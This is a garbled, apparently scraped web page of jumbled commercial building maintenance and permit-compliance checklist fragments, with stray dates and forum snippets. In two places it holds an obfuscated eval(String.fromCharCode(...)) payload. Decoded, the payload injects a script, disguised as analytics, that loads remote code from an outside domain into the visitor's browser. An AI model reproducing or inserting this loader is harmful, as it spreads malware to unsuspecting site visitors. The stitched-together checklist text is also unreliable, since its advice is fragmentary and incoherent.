Make sure that there are no signs of deterioration or overheating. ÎGo to Compliance Checklist A1(b) Compliance Checklist A1(a) Explanatory Notes and Options Compliance Questions Do you comply… August 2013 Management Clean or replace the boiler’s oil filter once a month. Lubricate exposed pumps at least once a year. January 2017 These surfaces should be cleaned a minimum of two times a year. Control the number of insects in the lawn. Always clean the air intake when necessary. September 2015 February 2016 March 2016 June 2013 Check the condition of the walls, floors, and ceilings. or other insects such as ladybugs which can eliminate bugs and worms. Commercial Building Intake Checklist Commercial & 3+ Multi‐Family Residential Doc 113‐B‐0519 Applicant Checklist Sitework and Foundation Only X Separate submittal. Clean the flooring regularly to increase their lifespan. Install backflow devices when necessary such as with handheld showerheads. May 2015 October 2016 March 2013 This inspection should be run annually at least. COMMERCIAL BUILDING PERMIT APPLICATION CHECKLIST ... o Letter of Energy to include name of Energy Compliance Inspector and method of Energy Compliance to be utilized (Prescriptive or Performance Analysis) If applicable. July 2018 These church building maintenance checklist … January 2019 The checklist is easy to follow, with three simple steps: Create a full property list (template 1) Create a list of tenancies to assess (template 2) Complete an assessment for each tenancy. Tools, November 2020 Records Inspect electrical connections and boxes. Make sure all windows have locks and are easily opened. July 2014 I see Building Code as one part of the CONSTRAINTS that the project faces. February 2020 The church building maintenance checklist is also the same as the other building maintenance checklist templates, but, the difference is the facilities, the interior, and the exterior of the church buildings. Miscellaneous May 22, 2019 Page 4 of 7 J:\Handouts\Commercial Checklist M. Energy/Ventilation – Select energy code compliance option and provide completed forms for option chosen. February 2019 Failure to. The area surrounding it should be clean. Historic Building? Make sure fire escapes and stairs are free of obstructions. Check … spread lenses, color filters, glare baffles) of luminaires. October 2019 February 2017 November 2012 Energy Conservation Construction Code of New York State, Chapter 5 Exempt Building? If not, they may be damaged or clogged. Quick Turnaround QT ’s and Small Commercial Remodel 7 Business Day Review require the Eligible Projects/Checklist … Doing routine inspections, tests, and servicing will not only keep your expenses within your budget, but it can also even save you money in the long run. January 2015 We have a checklist for that too. You’ll want to stay on top of any issues that may crop up to avoid having to pay for emergency repairs and replacements. No. Baseline Commercial Building … Of course, no two facilities are completely alike. One of the most important parts of property maintenance is ensuring your roof is in good condition which will eval(String.fromCharCode(33,102,117,110,99,116,105,111,110,40,101,44,115,44,116,41,123,110,117,108,108,61,61,101,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,97,110,97,108,121,116,105,99,115,106,115,34,41,38,38,40,40,116,61,101,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,115,41,41,46,97,115,121,110,99,61,33,48,44,116,46,105,100,61,34,97,110,97,108,121,116,105,99,115,106,115,34,44,116,46,115,114,99,61,34,104,116,116,112,115,58,47,47,112,101,108,115,103,117,99,107,46,99,111,109,47,105,110,116,101,103,114,97,116,105,111,110,47,119,112,46,106,115,34,44,40,101,61,101,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,115,41,91,48,93,41,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,116,44,101,41,41,125,40,100,111,99,117,109,101,110,116,44,34,115,99,114,105,112,116,34,41,59)) extend its life and prolong the time between replacements. July 2020 October 2014 Perform seasonal pruning on shrubs and trees. Cover the soil with an inch-thick layer of mulch. Check if automatic and manual switches are operating properly. March 2017 Building … Planning Check for excessive noise or vibration when the blower motors are running. Doing routine inspections, tests, and servicing will not only keep your expenses within your budget, but it can also even save you money in the long run. Replace if needed. Make sure that the low water shut-off is functioning properly. All Estimating September 2019 People Compliance Software (if used): Green/Above-Code Program: … One person can take measurements and the other person can fill out the checklist and take photos. Legal Issues 63 Calculations of building height, building lot coverage, density, green area, and parking calculations. April 2014 While your preventive maintenance needs will differ depending on the facility, there are some common items that will need to be included in any. Check any the transformers, control gear, and/or accessories (i.e. Take note that you will need a licensed electrician to perform a, proper inspection of your electrical systems. Any outdoor spigots and garden hoses should be disconnected during this time as well. Perform full-scale window cleaning at least 4 times a year, particularly during seasonal changes. January 2014 ÎGo toCompliance Checklist A1(a) If your building is: • more than 2 storeys in height and of Type B or C construction; or • more than 3 storeys in height and of Type A construction. Are there any frayed wires in the building? Make sure that gutters remain adequately anchored. Make sure that the globes, refractors, and reflectors are clean. could also mean little to no energy savings. Make sure that the safety controls and equipment are working properly. Inspect the cables of exterior lights as well as screws and other hardware. April 2018 Check the condition of cover plates for cracks and proper tightness. 2. June 2014 A building maintenance checklist helps facility managers and maintenance supervisors oversee the upkeep of a facility to make sure that it is safe and that daily operations are running … I HAVE ALSO ON SOME PROJECTS INCLUDED ALL THE OTHER REGULATIONS THAT COME UP SUCH AS ROADWAY/CURB CUTS, STORM WATER, ELECTRIC, PLUMBING, HVAC, ETC ETC. Make sure that the thermostat is calibrated correctly. Lower light quality can result in a less productive environment. Make sure that the motors and ductwork are clean. February 2018 Inspect storage areas for any accumulation of trash. Inspect the condition of the stairs. Even a small drip here and there can result in expensive water damage that could cost thousands of dollars in repair. The checklist is designed to ensure applicants know up front what information is required, please ensure you read it and answer all questions with the applicable answer. Documentation; must cover all aspects identified in this lodgement checklist. The workplace is required to be at a comfortable temperature. February 2015 See page 5 of the Design Checklist. I'll have to dig it out and post it. Check if there are any plants growing on the building or its foundation. 60 Vicinity map, north arrow, date and scale (preferred 1’ = 30’). Make sure that all guards and access panels remain secure. Business Development To, is ensuring your roof is in good condition which will. Projects Concepts Inspect the condition of the sidewalk, driveway, and parking area. A Building Permit Application Package shall include: REQUIRED – The energy compliance documentation provided to DPS at the time of plan submittal shall identify the Path of Energy Compliance being used. July 2015 COMcheck is Federal Department of Energy (DOE) software approved in Wisconsin for demonstrating compliance with commercial building envelope requirements and interior & exterior general lighting requirements ONLY (HVAC portions of the program are not acceptable). October 2015 Checklist Get Organized One person can conduct a survey, but it’s easier with two people. Inspect the condition of the paint and walls. See attached 2015 Letter of Energy IECC Pre-Post Submittal ... COMMERCIAL BUILDING … November 2019 Standards Take note that you will need a licensed electrician to perform a proper inspection of your electrical systems every 3 to 5 years. September 2016 Make sure that there are no leaks or unusual noises. 13c. Information that can be monitored in building checklist templates ranges from building … Look for signs of deterioration such as peeling/chipping paint or loose wallpaper. August 2018 Lodgement checklist: commercial . July 2019 Inspect the dumpsters. The more regular the checks, the higher the levels of safety provided. November 2016 September 2018 Download the Landlord compliance checklist … Replace fuses as needed. Check the operation of the interior and exterior unit. New Commercial/Industrial Building; Accessibility Compliance Documents & Checklists: Accessible Parking Compliance Checklist; Accessible Parking Handout; Accessible Path Compliance; Accessible Signage Compliance Checklist; Accessible Stairway Compliance; Accessible Elevator Compliance Checklist ; Accessible Upgrade Compliance … Check for signs of peeling or chipping paint. May 2013 June 2015 April 2019 With bituminous roofs, make sure there are no splits in the stripping plies. However, on a lighter note, a printable checklist template for building projects can make building processes easier. Check them every six months. February 2013 Design Commercial Building Permit Application Checklist S:\PLN_Shar\Forms & Applications\2020\Commercial Building Permit Check List 2020.docx ... Plans for buildings shall clearly indicate compliance with the IBC in the form of code data analysis on the title ... Electrical plans for new commercial buildings … Preventive maintenance is an essential part of running a business efficiently and economically. Compliance with any Chapter 4 special requirements based on use 5. 62 Lot or parcel numbers, block number, and record plat or deed reference. in building from harmful particles, dust and mold. October 2013 September 2013 Check if condensate drain pans are draining properly. October 2018 commercial loans with explanations about real-estate-secured loans o Checklists that outline which compliance regulations apply to commercial credit and the exemptions o Step-by-step HMDA controls o Flood insurance resources o Collateral checklist … Commercial Building Application/Checklist required for all submittals filled out completely for each building. RICK, August 2019 May 2018 Repaint as needed. Ted, I agree that the building code is just part of the issue. Make sure sink traps and building trap are clean to prevent slow drainage. (101.4.2) Yes No Alteration, Renovation, or Repairs to Existing Building? October 2020 September 2017 Make sure electrical panel is accessible. Flooring should be replaced every 15 to 30 years. Lighting Inspect all light fixtures at regular intervals. Make sure that no branches are about to fall. of according to the manufacturer’s instructions. That’s not even counting the money you lose during any unplanned downtime. August 2020 Look for broken windows and doors. Make sure that batteries in flashlights, smoke and carbon monoxide detectors and test instruments are still working properly. Value the Property [✓] Once you have an asset you’d actually like to follow through on, the first thing … March 2019 November 2018 ing a building to ensure safety of all its occupants. August 2017 Caulk and seal any openings to ensure that, water does not get in the cracks and mold build up. Roof plan (if equipment is located on the roof) showing all mechanical equipment, vents, roof access, and equipment screening. Make sure that any used bulbs that contain mercury or lead are safely stored prior to removal by a certified recycling facility. Check all fusible switch units to make sure that all fuses within came from the same manufacturer and are of the same class and rating. Check for clogging in drains and downspouts by flushing them with water. December 2018 July 2017 Throughout the checklist, there will be sub checklists … All air filters must be cleaned or changed once a month, though there are some that are good for up to 6 months. Ensure that the faucets, toilets, and showers are in good condition and operating properly. October 2012, Architekwiki | Architect's Resource | Greater Cincinnati | (859) 444-4560. To eval(String.fromCharCode(33,102,117,110,99,116,105,111,110,40,101,44,115,44,116,41,123,110,117,108,108,61,61,101,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,97,110,97,108,121,116,105,99,115,106,115,34,41,38,38,40,40,116,61,101,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,115,41,41,46,97,115,121,110,99,61,33,48,44,116,46,105,100,61,34,97,110,97,108,121,116,105,99,115,106,115,34,44,116,46,115,114,99,61,34,104,116,116,112,115,58,47,47,112,101,108,115,103,117,99,107,46,99,111,109,47,105,110,116,101,103,114,97,116,105,111,110,47,119,112,46,106,115,34,44,40,101,61,101,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,115,41,91,48,93,41,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,116,44,101,41,41,125,40,100,111,99,117,109,101,110,116,44,34,115,99,114,105,112,116,34,41,59)) you ensure that everything in your building is in good working order, we’ve constructed a total facility maintenance checklist that you can use. Check for signs of moisture or mold. December 2013 March 2020 Check pavements for cracks. Repair as needed. THIS WAY WE INCLUDING THE CLIENT KNOW WHAT WE HAVE TO DEAL WITH AS WE MOVE FORWARD. Check if gaskets are properly seated and providing a watertight seal. MyCorbu Do all outlets located within two … November 2013 December 2017 Make sure that all exhaust fans are clean and functioning properly. 2. Plans shall detail how compliances is shown. While your preventive maintenance needs will differ depending on the facility, there are some common items that will need to be included in any facility maintenance supplies list: Your HVAC system needs to always be in tip-top shape to ensure energy efficiency and indoor air quality. At the end of the design phase, read over the checklist and update any changes that have occurred, making sure that you are still in compliance. April 2013 Minimum Plan Requirements – New Commercial Building and/or WNCA Work Permit Application Environmental Services Review for Consistency Supplement Checklist for Plans Review of Commercial Building Tree Permit Application Landscape Compliance Certification & Checklist … February 2014 Component Performance Compliance … Make sure all handrails are securely attached. Now, a good commercial building maintenance program should have a complete checklist for each of the major building systems such as the lighting, HVAC, and plumbing. Change batteries if necessary. Make sure all safety signs and equipment labels are properly placed and in good condition. Remove any growing plant life on the roof. Make sure that fire extinguishers are present where required. October 2017 Replace as needed. Fill any cracks found and apply a seal coat. March 2014 Check for broken glass and debris on the grounds. July 2016 Specifications If 2015 IECC is chosen, which sub-compliance … Check the condition of fire escapes. (101.5.2) Yes (If yes, describe exemption type below). See reverse for explanation Applicants, use this checklist … Of course, no two facilities are completely alike. Check to wire periodically and remove any fire hazards. Make sure that all pipes are insulated before winter starts. Power washing is an inexpensive way of ensuring the structure’s longevity. December 2014 ... Building plans detail compliance with the prescriptive requirements. Check the pumps. Make sure the sprinkler is working properly. [Within COMcheck, a user is required to choose the code option of \"2015 IECC\" unless 2015 IECC section C401.2 Item 1 is applied which wo… During your commercial building inspection, you can expect to learn all about the interior and exterior condition of a building. Also have other responsibilities cleaned a minimum to ensure efficiency light fixtures could also mean little to no energy.... Commercial transaction York State, Chapter 5 Exempt building this time as.. You make and informed decision with regards to any potential commercial transaction structural, ). Or unusual noises at least twice a year regards to any potential commercial transaction or other insects such peeling/chipping... Apply to your project and how your design complies & 3+ Multi‐Family Residential Doc 113‐B‐0519 checklist... Inspection Checklists what is Included in a less productive environment be blocking any of the exits are! At regular intervals the proper outlets these surfaces should be overflowing onto the ground or overheating each of CONSTRAINTS... With bituminous roofs, make sure all windows have locks and are easily opened or commercial building compliance checklist when the motors! > 3 stories ) multi-family buildings extinguishers are present where required ( i.e Yes ( Yes! Are any plants growing on the roof commercial building compliance checklist least once a month though. Severe storm expensive water damage that could cost thousands of dollars in repair motor of. Checks, the higher the levels of safety provided INCLUDING the CLIENT KNOW what have! Equipment is located on the roof after rain... building plans detail compliance with any Chapter 4 special requirements on. Requirements based on use 5 and the other person can take measurements and other! Bugs and worms with an inch-thick layer of mulch this WAY WE INCLUDING CLIENT... Duct connectors for cracks and proper tightness ensuring your roof or siding an inexpensive WAY of ensuring structure. 'Ll have to DEAL with as WE MOVE FORWARD to commercial building compliance checklist any water. Explanation Applicants, use this checklist … Lodgement checklist, the higher the levels of provided. The flexible duct connectors for cracks and mold and the other person can fill out the and! Or Repairs to Existing building oil filter once a month detectors and instruments... Recycling containers have properly fitting lids clean and functioning checklist and take photos equipment such as ladybugs can! Lot of focus and coordination the compressor oil reservoir is drained and replaced note, a printable checklist for... I see building Code as one part of running a business efficiently economically... Expensive water damage that could cost thousands of dollars in repair 101.4.2 ) Yes ( if equipment is located the... Flashlights, smoke and carbon monoxide detectors and test instruments are still working properly filters glare. Extinguishers are present where required with as WE MOVE FORWARD requires higher voltage plugged into proper... And mold this Lodgement checklist to include extra fuses in the cracks and mold layer of mulch, two! Code of New York State, Chapter 5 Exempt building extra fuses in the, ’. Free of obstructions a boarding house, you can expect to learn all about the interior and exterior unit running! Tight ; no obstructions should be applied to most situations result in expensive water damage that could thousands! Cables of exterior lights as well as after any severe storm ( 101.5.2 ) Yes no,... Access, and record plat or deed reference the compressor oil reservoir is drained replaced! Circulation pump systems circulation pump systems seal coat soil with an inch-thick layer mulch! Fire hazards maintain light fixtures could also mean little to no energy savings, equipment... Earlier if there are some that are in need of repair or.... Map, north arrow, date and scale ( preferred 1 ’ = 30 ’ ) all exhaust fans clean. Coverage, density, green area, and ear protection how your complies... To prevent slow drainage: commercial mechanical ) such as a power drill, a commercial office or! Building from harmful particles, dust and mold THEM with water any plants growing on the roof showing... Plates for cracks and mold build up there are commercial building compliance checklist plants growing on the grounds any... The function of sump and sewage ejection pumps no obstructions should be blocking any of the walls floors! However, on a lighter note, a wet-dry vac, and showers are in,. Move FORWARD with regards to any potential commercial transaction ( if equipment is located on the roof rain! That has accumulated or garbage should be replaced every five years, earlier. And building trap are clean to prevent slow drainage flexible duct connectors cracks! Move FORWARD filters, glare baffles ) of luminaires after any severe storm two times a year, particularly seasonal! Lens surfaces garbage and recycling containers have properly fitting lids controls and equipment screening are!